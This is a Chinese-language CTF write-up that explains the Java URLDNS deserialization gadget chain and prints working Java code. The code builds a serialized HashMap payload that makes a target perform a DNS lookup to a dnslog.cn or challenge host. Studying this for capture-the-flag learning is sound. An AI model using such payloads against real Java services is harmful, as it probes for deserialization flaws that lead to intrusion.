1 2 3
| ctfshow会对你post提交的ctfshow参数进行base64解码 然后进行反序列化 构造出对当前题目地址的dns查询即可获得flag
|
链子
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
入口类选择
1 2 3 4 5
| 实现Serializable接口; 重写readObject方法, 调用一个常见的函数; 接收参数类型宽泛; 最好JDK自带;
|
本链入口类为**java.util.HashMap
**
首先hashmap实现了Serializable接口

因为**HashMap<K,V>
存储数据采用的哈希表结构,元素的存取顺序不能保证一致。由于要保证键的唯一、不重复,在反序列化过程中就需要对Key
进行hash,这样一来就需要重写readObject
**方法。

调用了**hash
函数,根据key产生hash。跟进hash()
函数,可以看到,这里使用传入参数对象key
的hashCode
**方法。

最后寻找执行类

exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package com.exp;
import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception{
HashMap h=new HashMap(); URL url=new URL("http://c33test.trj7m6.dnslog.cn"); Class cls=Class.forName("java.net.URL"); Field f = cls.getDeclaredField("hashCode"); f.setAccessible(true); f.set(url,1); h.put(url,1); f.set(url,-1);
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seri.bin")); oos.writeObject(h);
} }
|
使用反射修改 URL
的 hashCode
不会反射的把这部分看懂就会了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import java.lang.reflect.Constructor; import java.lang.reflect.Method;
public class fanshe { private String name;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public static void main(String[] args) throws Exception { fanshe testObj = new fanshe(); testObj.setName("tom"); System.out.println("Obj name:" + testObj.getName()); Class clz = Class.forName("fanshe"); Method setNameMethod = clz.getMethod("setName", String.class); Constructor testConstructor = clz.getConstructor(); Object testObj1 = testConstructor.newInstance(); setNameMethod.invoke(testObj1, "tom"); Method getNameMethod = clz.getMethod("getName"); System.out.println("Obj name:" + getNameMethod.invoke(testObj1)); } }
|
hashcaode置0置1前面学习过,简单概述一下
URL
的 hashCode()
方法默认情况下会解析 DNS
置1为了防止序列化过程中发送网络请求
set
时为-1为了保证反序列化过程中触发DNS解析
那么对于此处例题只需要略微修改即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| package com.exp;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.Base64; import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception{
HashMap h=new HashMap(); URL url=new URL("http://484bd69e-839a-4ce1-9a9a-e285d3af0283.challenge.ctf.show/"); Class cls=Class.forName("java.net.URL"); Field f = cls.getDeclaredField("hashCode"); f.setAccessible(true); f.set(url,1); h.put(url,1); f.set(url,-1);
ByteArrayOutputStream b = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(b); oos.writeObject(h); byte[] bytes = b.toByteArray();
Base64.Encoder encoder = Base64.getEncoder(); String exp = encoder.encodeToString(bytes); System.out.println(exp);
} }
|


或者使用ysoserial
